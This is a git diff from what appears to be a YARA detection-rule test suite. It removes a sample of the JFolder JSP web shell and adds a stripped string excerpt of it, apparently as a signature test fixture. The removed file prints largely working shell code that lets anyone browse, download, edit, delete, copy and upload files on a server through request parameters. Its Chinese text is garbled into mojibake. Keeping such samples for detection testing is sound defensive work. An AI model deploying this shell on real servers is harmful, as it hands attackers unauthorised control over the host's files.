diff --git a/test/yara/JFolder.jsp b/test/yara/JFolder.jsp deleted file mode 100644 index ef4207e..0000000 --- a/test/yara/JFolder.jsp +++ /dev/null @@ -1,1022 +0,0 @@ -<% -/** -JFileMan V1.0 windows platform -@Filename�� JFolder.jsp -@Description�� һ���򵥵�ϵͳ�ļ�Ŀ¼��ʾ������������Դ���������ṩ�������ļ��������������������ˡ� -@Author�� Steven Cee -@Email �� cqq1978@Gmail.com -@Bugs : ����ʱ�������ļ����޷�������ʾ��Unix����ϵͳ�ϴ� -*/ -%> -<%@page errorPage="/"%> -<%@page contentType="text/html;charset=gb2312"%> -<%@page import="java.io.*,java.util.*,java.net.*" %> -<%! -private final static int languageNo=1; //Language,0 : Chinese; 1:English -String strThisFile="JFileMan.jsp"; -String strSeparator = File.separator; -String[] authorInfo={" д�IJ��ã��������ð� - - by ����ǿ http://www.topronet.com "," Thanks for your support - - by Steven Cee http://www.topronet.com "}; -String[] strFileManage = {"�� �� �� ��","File Management"}; -String[] strCommand = {"CMD �� ��","Command Window"}; -String[] strSysProperty = {"ϵ ͳ �� ��","System Property"}; -String[] strHelp = {"�� ��","Help"}; -String[] strParentFolder = {"�ϼ�Ŀ¼","Parent Folder"}; -String[] strCurrentFolder= {"��ǰĿ¼","Current Folder"}; -String[] strDrivers = {"������","Drivers"}; -String[] strFileName = {"�ļ�����","File Name"}; -String[] strFileSize = {"�ļ���С","File Size"}; -String[] strLastModified = {"����޸�","Last Modified"}; -String[] strFileOperation= {"�ļ�����","Operations"}; -String[] strFileEdit = {"�޸�","Edit"}; -String[] strFileDown = {"����","Download"}; -String[] strFileCopy = {"����","Move"}; -String[] strFileDel = {"ɾ��","Delete"}; -String[] strExecute = {"ִ��","Execute"}; -String[] strBack = {"����","Back"}; -String[] strFileSave = {"����","Save"}; - -public class FileHandler -{ - private String strAction=""; - private String strFile=""; - void FileHandler(String action,String f) - { - - } -} - -public static class UploadMonitor { - - static Hashtable uploadTable = new Hashtable(); - - static void set(String fName, UplInfo info) { - uploadTable.put(fName, info); - } - - static void remove(String fName) { - uploadTable.remove(fName); - } - - static UplInfo getInfo(String fName) { - UplInfo info = (UplInfo) uploadTable.get(fName); - return info; - } -} - -public class UplInfo { - - public long totalSize; - public long currSize; - public long starttime; - public boolean aborted; - - public UplInfo() { - totalSize = 0l; - currSize = 0l; - starttime = System.currentTimeMillis(); - aborted = false; - } - - public UplInfo(int size) { - totalSize = size; - currSize = 0; - starttime = System.currentTimeMillis(); - aborted = false; - } - - public String getUprate() { - long time = System.currentTimeMillis() - starttime; - if (time != 0) { - long uprate = currSize * 1000 / time; - return convertFileSize(uprate) + "/s"; - } - else return "n/a"; - } - - public int getPercent() { - if (totalSize == 0) return 0; - else return (int) (currSize * 100 / totalSize); - } - - public String getTimeElapsed() { - long time = (System.currentTimeMillis() - starttime) / 1000l; - if (time - 60l >= 0){ - if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; - else return time / 60 + ":0" + (time % 60) + "m"; - } - else return time<10 ? "0" + time + "s": time + "s"; - } - - public String getTimeEstimated() { - if (currSize == 0) return "n/a"; - long time = System.currentTimeMillis() - starttime; - time = totalSize * time / currSize; - time /= 1000l; - if (time - 60l >= 0){ - if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; - else return time / 60 + ":0" + (time % 60) + "m"; - } - else return time<10 ? "0" + time + "s": time + "s"; - } - - } - - public class FileInfo { - - public String name = null, clientFileName = null, fileContentType = null; - private byte[] fileContents = null; - public File file = null; - public StringBuffer sb = new StringBuffer(100); - - public void setFileContents(byte[] aByteArray) { - fileContents = new byte[aByteArray.length]; - System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length); - } -} - -// A Class with methods used to process a ServletInputStream -public class HttpMultiPartParser { - - private final String lineSeparator = System.getProperty("line.separator", "\n"); - private final int ONE_MB = 1024 * 1; - - public Hashtable processData(ServletInputStream is, String boundary, String saveInDir, - int clength) throws IllegalArgumentException, IOException { - if (is == null) throw new IllegalArgumentException("InputStream"); - if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException( - "\"" + boundary + "\" is an illegal boundary indicator"); - boundary = "--" + boundary; - StringTokenizer stLine = null, stFields = null; - FileInfo fileInfo = null; - Hashtable dataTable = new Hashtable(5); - String line = null, field = null, paramName = null; - boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0); - boolean isFile = false; - if (saveFiles) { // Create the required directory (including parent dirs) - File f = new File(saveInDir); - f.mkdirs(); - } - line = getLine(is); - if (line == null || !line.startsWith(boundary)) throw new IOException( - "Boundary not found; boundary = " + boundary + ", line = " + line); - while (line != null) { - if (line == null || !line.startsWith(boundary)) return dataTable; - line = getLine(is); - if (line == null) return dataTable; - stLine = new StringTokenizer(line, ";\r\n"); - if (stLine.countTokens() < 2) throw new IllegalArgumentException( - "Bad data in second line"); - line = stLine.nextToken().toLowerCase(); - if (line.indexOf("form-data") < 0) throw new IllegalArgumentException( - "Bad data in second line"); - stFields = new StringTokenizer(stLine.nextToken(), "=\""); - if (stFields.countTokens() < 2) throw new IllegalArgumentException( - "Bad data in second line"); - fileInfo = new FileInfo(); - stFields.nextToken(); - paramName = stFields.nextToken(); - isFile = false; - if (stLine.hasMoreTokens()) { - field = stLine.nextToken(); - stFields = new StringTokenizer(field, "=\""); - if (stFields.countTokens() > 1) { - if (stFields.nextToken().trim().equalsIgnoreCase("filename")) { - fileInfo.name = paramName; - String value = stFields.nextToken(); - if (value != null && value.trim().length() > 0) { - fileInfo.clientFileName = value; - isFile = true; - } - else { - line = getLine(is); // Skip "Content-Type:" line - line = getLine(is); // Skip blank line - line = getLine(is); // Skip blank line - line = getLine(is); // Position to boundary line - continue; - } - } - } - else if (field.toLowerCase().indexOf("filename") >= 0) { - line = getLine(is); // Skip "Content-Type:" line - line = getLine(is); // Skip blank line - line = getLine(is); // Skip blank line - line = getLine(is); // Position to boundary line - continue; - } - } - boolean skipBlankLine = true; - if (isFile) { - line = getLine(is); - if (line == null) return dataTable; - if (line.trim().length() < 1) skipBlankLine = false; - else { - stLine = new StringTokenizer(line, ": "); - if (stLine.countTokens() < 2) throw new IllegalArgumentException( - "Bad data in third line"); - stLine.nextToken(); // Content-Type - fileInfo.fileContentType = stLine.nextToken(); - } - } - if (skipBlankLine) { - line = getLine(is); - if (line == null) return dataTable; - } - if (!isFile) { - line = getLine(is); - if (line == null) return dataTable; - dataTable.put(paramName, line); - // If parameter is dir, change saveInDir to dir - if (paramName.equals("dir")) saveInDir = line; - line = getLine(is); - continue; - } - try { - UplInfo uplInfo = new UplInfo(clength); - UploadMonitor.set(fileInfo.clientFileName, uplInfo); - OutputStream os = null; - String path = null; - if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir, - fileInfo.clientFileName)); - else os = new ByteArrayOutputStream(ONE_MB); - boolean readingContent = true; - byte previousLine[] = new byte[2 * ONE_MB]; - byte temp[] = null; - byte currentLine[] = new byte[2 * ONE_MB]; - int read, read3; - if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) { - line = null; - break; - } - while (readingContent) { - if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) { - line = null; - uplInfo.aborted = true; - break; - } - if (compareBoundary(boundary, currentLine)) { - os.write(previousLine, 0, read - 2); - line = new String(currentLine, 0, read3); - break; - } - else { - os.write(previousLine, 0, read); - uplInfo.currSize += read; - temp = currentLine; - currentLine = previousLine; - previousLine = temp; - read = read3; - }//end else - }//end while - os.flush(); - os.close(); - if (!saveFiles) { - ByteArrayOutputStream baos = (ByteArrayOutputStream) os; - fileInfo.setFileContents(baos.toByteArray()); - } - else fileInfo.file = new File(path); - dataTable.put(paramName, fileInfo); - uplInfo.currSize = uplInfo.totalSize; - }//end try - catch (IOException e) { - throw e; - } - } - return dataTable; - } - - /** - * Compares boundary string to byte array - */ - private boolean compareBoundary(String boundary, byte ba[]) { - byte b; - if (boundary == null || ba == null) return false; - for (int i = 0; i < boundary.length(); i++) - if ((byte) boundary.charAt(i) != ba[i]) return false; - return true; - } - - /** Convenience method to read HTTP header lines */ - private synchronized String getLine(ServletInputStream sis) throws IOException { - byte b[] = new byte[1024]; - int read = sis.readLine(b, 0, b.length), index; - String line = null; - if (read != -1) { - line = new String(b, 0, read); - if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1); - } - return line; - } - - public String getFileName(String dir, String fileName) throws IllegalArgumentException { - String path = null; - if (dir == null || fileName == null) throw new IllegalArgumentException( - "dir or fileName is null"); - int index = fileName.lastIndexOf('/'); - String name = null; - if (index >= 0) name = fileName.substring(index + 1); - else name = fileName; - index = name.lastIndexOf('\\'); - if (index >= 0) fileName = name.substring(index + 1); - path = dir + File.separator + fileName; - if (File.separatorChar == '/') return path.replace('\\', File.separatorChar); - else return path.replace('/', File.separatorChar); - } -} //End of class HttpMultiPartParser - -String formatPath(String p) -{ - StringBuffer sb=new StringBuffer(); - for (int i = 0; i < p.length(); i++) - { - if(p.charAt(i)=='\\') - { - sb.append("\\\\"); - } - else - { - sb.append(p.charAt(i)); - } - } - return sb.toString(); -} - - /** - * Converts some important chars (int) to the corresponding html string - */ - static String conv2Html(int i) { - if (i == '&') return "&"; - else if (i == '<') return "<"; - else if (i == '>') return ">"; - else if (i == '"') return """; - else return "" + (char) i; - } - - /** - * Converts a normal string to a html conform string - */ - static String htmlEncode(String st) { - StringBuffer buf = new StringBuffer(); - for (int i = 0; i < st.length(); i++) { - buf.append(conv2Html(st.charAt(i))); - } - return buf.toString(); - } -String getDrivers() -/** -Windowsϵͳ��ȡ�ÿ��õ������߼��� -*/ -{ - StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : "); - File roots[]=File.listRoots(); - for(int i=0;i"); - sb.append(roots[i]+" "); - } - return sb.toString(); -} -static String convertFileSize(long filesize) -{ - //bug 5.09M ��ʾ5.9M - String strUnit="Bytes"; - String strAfterComma=""; - int intDivisor=1; - if(filesize>=1024*1024) - { - strUnit = "MB"; - intDivisor=1024*1024; - } - else if(filesize>=1024) - { - strUnit = "KB"; - intDivisor=1024; - } - if(intDivisor==1) return filesize + " " + strUnit; - strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ; - if(strAfterComma=="") strAfterComma=".0"; - return filesize / intDivisor + "." + strAfterComma + " " + strUnit; -} -%> -<% -request.setCharacterEncoding("gb2312"); -String tabID = request.getParameter("tabID"); -String strDir = request.getParameter("path"); -String strAction = request.getParameter("action"); -String strFile = request.getParameter("file"); -String strPath = strDir + strSeparator + strFile; -String strCmd = request.getParameter("cmd"); -StringBuffer sbEdit=new StringBuffer(""); -StringBuffer sbDown=new StringBuffer(""); -StringBuffer sbCopy=new StringBuffer(""); -StringBuffer sbSaveCopy=new StringBuffer(""); -StringBuffer sbNewFile=new StringBuffer(""); -String strOS = System.getProperty("os.name").toLowerCase(); -//out.print(strPath); -if((tabID==null) || tabID.equals("")) -{ - tabID = "1"; -} - -if(strDir==null||strDir.length()<1) -{ - strDir = request.getRealPath("."); -} - - -if(strAction!=null && strAction.equals("down")) -{ - File f=new File(strPath); - if(f.length()==0) - { - sbDown.append("�ļ���СΪ 0 �ֽڣ��Ͳ������˰�"); - } - else - { - response.setHeader("content-type","text/html; charset=ISO-8859-1"); - response.setContentType("APPLICATION/OCTET-STREAM"); - response.setHeader("Content-Disposition","attachment; filename=\""+f.getName()+"\""); - FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath()); - out.clearBuffer(); - int i; - while ((i=fileInputStream.read()) != -1) - { - out.write(i); - } - fileInputStream.close(); - out.close(); - } -} - -if(strAction!=null && strAction.equals("del")) -{ - File f=new File(strPath); - f.delete(); -} - -if(strAction!=null && strAction.equals("edit")) -{ - File f=new File(strPath); - BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f))); - sbEdit.append("
\r\n"); - sbEdit.append("\r\n"); - sbEdit.append("\r\n"); - sbEdit.append("\r\n"); - sbEdit.append(" "); - sbEdit.append("  "+strPath+"\r\n"); - sbEdit.append("
"); - sbEdit.append(""); - sbEdit.append("
"); -} - -if(strAction!=null && strAction.equals("save")) -{ - File f=new File(strPath); - BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f))); - String strContent=request.getParameter("content"); - bw.write(strContent); - bw.close(); -} -if(strAction!=null && strAction.equals("copy")) -{ - File f=new File(strPath); - sbCopy.append("
\r\n"); - sbCopy.append("\r\n"); - sbCopy.append("\r\n"); - sbCopy.append("\r\n"); - sbCopy.append("ԭʼ�ļ��� "+strPath+"

"); - sbCopy.append("Ŀ���ļ���

"); - sbCopy.append(" "); - sbCopy.append("

 \r\n"); - sbCopy.append("

"); -} -if(strAction!=null && strAction.equals("savecopy")) -{ - File f=new File(strPath); - String strDesFile=request.getParameter("file2"); - if(strDesFile==null || strDesFile.equals("")) - { - sbSaveCopy.append("

Ŀ���ļ�����"); - } - else - { - File f_des=new File(strDesFile); - if(f_des.isFile()) - { - sbSaveCopy.append("

Ŀ���ļ��Ѵ���,���ܸ��ơ�"); - } - else - { - String strTmpFile=strDesFile; - if(f_des.isDirectory()) - { - if(!strDesFile.endsWith(strSeparator)) - { - strDesFile=strDesFile+strSeparator; - } - strTmpFile=strDesFile+"cqq_"+strFile; - } - - File f_des_copy=new File(strTmpFile); - FileInputStream in1=new FileInputStream(f); - FileOutputStream out1=new FileOutputStream(f_des_copy); - byte[] buffer=new byte[1024]; - int c; - while((c=in1.read(buffer))!=-1) - { - out1.write(buffer,0,c); - } - in1.close(); - out1.close(); - - sbSaveCopy.append("ԭʼ�ļ� ��"+strPath+"

"); - sbSaveCopy.append("Ŀ���ļ� ��"+strTmpFile+"

"); - sbSaveCopy.append("���Ƴɹ���"); - } - } - sbSaveCopy.append("

"); -} -if(strAction!=null && strAction.equals("newFile")) -{ - String strF=request.getParameter("fileName"); - String strType1=request.getParameter("btnNewFile"); - String strType2=request.getParameter("btnNewDir"); - String strType=""; - if(strType1==null) - { - strType="Dir"; - } - else if(strType2==null) - { - strType="File"; - } - if(!strType.equals("") && !(strF==null || strF.equals(""))) - { - File f_new=new File(strF); - if(strType.equals("File") && !f_new.createNewFile()) - sbNewFile.append(strF+" �ļ�����ʧ��"); - if(strType.equals("Dir") && !f_new.mkdirs()) - sbNewFile.append(strF+" Ŀ¼����ʧ��"); - } - else - { - sbNewFile.append("

�����ļ���Ŀ¼������"); - } -} - -if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart"))) -{ - String tempdir="."; - boolean error=false; - response.setContentType("text/html"); - HttpMultiPartParser parser = new HttpMultiPartParser(); - - int bstart = request.getContentType().lastIndexOf("oundary="); - String bound = request.getContentType().substring(bstart + 8); - int clength = request.getContentLength(); - Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength); - if (ht.get("cqqUploadFile") != null) - { - - FileInfo fi = (FileInfo) ht.get("cqqUploadFile"); - File f1 = fi.file; - UplInfo info = UploadMonitor.getInfo(fi.clientFileName); - if (info != null && info.aborted) - { - f1.delete(); - request.setAttribute("error", "Upload aborted"); - } - else - { - String path = (String) ht.get("path"); - - if(path!=null && !path.endsWith(strSeparator)) - path = path + strSeparator; - strDir = path; - //out.println(path + f1.getName()); - if (!f1.renameTo(new File(path + f1.getName()))) - { - request.setAttribute("error", "Cannot upload file."); - out.println("error,upload "); - error = true; - f1.delete(); - } - } - } -} -%> - - - - - - - -JFoler 1.0 ---A jsp based web folder management tool by Steven Cee - - - - - -

- - - - - - -
- - - - - - -<% -StringBuffer sbFolder=new StringBuffer(""); -StringBuffer sbFile=new StringBuffer(""); -try -{ - File objFile = new File(strDir); - File list[] = objFile.listFiles(); - if(objFile.getAbsolutePath().length()>3) - { - sbFolder.append(" "); - sbFolder.append(strParentFolder[languageNo]+"
- - - - - - - - - - - \r\n "); - - - } - for(int i=0;i "); - sbFolder.append(" "); - sbFolder.append(list[i].getName()+"
"); - } - else - { - String strLen=""; - String strDT=""; - long lFile=0; - lFile=list[i].length(); - strLen = convertFileSize(lFile); - Date dt=new Date(list[i].lastModified()); - strDT=dt.toLocaleString(); - sbFile.append(""); - sbFile.append(""+list[i].getName()); - sbFile.append(""); - sbFile.append(""+strLen); - sbFile.append(""); - sbFile.append(""+strDT); - sbFile.append(""); - - sbFile.append("  "); - sbFile.append(strFileEdit[languageNo]+" "); - - sbFile.append("  "); - sbFile.append(strFileDel[languageNo]+" "); - - sbFile.append("  "); - sbFile.append(strFileDown[languageNo]+" "); - - sbFile.append("  "); - sbFile.append(strFileCopy[languageNo]+" "); - } - - } -} -catch(Exception e) -{ - out.println("����ʧ�ܣ� "+e.toString()+""); -} -%> - -
- - - - - - - - - -
-

-
www.topronet.com ,All Rights Reserved. -
Any question, please email me cqq1978@Gmail.com \ No newline at end of file diff --git a/test/yara/jfolder_stripped b/test/yara/jfolder_stripped new file mode 100644 index 0000000..dde4c84 --- /dev/null +++ b/test/yara/jfolder_stripped @@ -0,0 +1,13 @@ +<%/**%> +{"�� �� �� ��","File Management"};{"CMD �� ��","Command Window"};{"ϵ ͳ �� ��","System Property"}; +{"�� ��","Help"}; {"�ϼ�Ŀ¼","Parent Folder"};"��ǰĿ¼","Current Folder"}; {"������","Drivers"}; +{"�ļ�����","File Name"};{"�ļ���С","File Size"};{"����޸�","Last Modified"};"�ļ�����","Operations"}; +"�޸�","Edit"};{"����","Download"};{"����","Move"}; {"ɾ��","Delete"};{"ִ��","Execute"};{"����","Back"};{"����","Save"}; +long time = (System.currentTimeMillis() - starttime) / 1000l; +strUnit="Bytes"f(intDivisor==1) return filesize + " " + strUnit; +rAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ; +return filesize / intDivisor + "." + strAfterComma + " " + strUnit; +sbDown.append("�ļ���СΪ 0 �ֽڣ��Ͳ������˰�"); +FileInfo fi = (FileInfo) ht.get("cqqUploadFile"); +File f1 = fi.file;UplInfo info = UploadMonitor.getInfo(fi.clientFileName); +error,upload